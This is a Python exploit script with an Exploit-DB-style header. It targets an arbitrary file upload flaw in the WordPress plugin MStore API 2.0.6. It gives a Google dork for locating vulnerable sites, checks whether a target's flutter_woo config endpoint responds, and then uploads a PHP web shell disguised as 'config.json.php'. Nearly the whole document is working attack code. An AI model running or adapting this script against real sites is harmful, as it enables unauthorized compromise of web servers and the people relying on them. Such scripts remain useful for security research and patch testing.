# Exploit Title: Wordpress Plugin MStore API 2.0.6 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/mstore-api/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/mstore-api/
# Version: 2.0.6, possibly higher
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
  print("MStore API < 2.0.6 - Arbitrary File Upload")
  print("Author -> space_hen (www.github.com/spacehen)")
  
def print_usage():
  print("Usage: python3 exploit.py [target url] [shell path]")
  print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
  response = requests.post(uri)
  raw = response.text

  if ("Key must be" in raw):
    return True;
  else:
    return False;

def main():

  print_banner()
  if(len(sys.argv) != 3):
    print_usage();
    sys.exit(1);

  base = sys.argv[1]
  file_path = sys.argv[2]

  rest_url = '/wp-json/api/flutter_woo/config_file'

  uri = base + rest_url;
  check = vuln_check(uri);

  if(check == False):
    print("(*) Target not vulnerable!");
    sys.exit(1)

  if( path.isfile(file_path) == False):
    print("(*) Invalid file!")
    sys.exit(1)

  files = {'file' : ( "config.json.php", open(file_path), "application/json" )}

  print("Uploading shell...");
  response = requests.post(uri, files=files )
  # response should be location of file
  print(response.text)

main();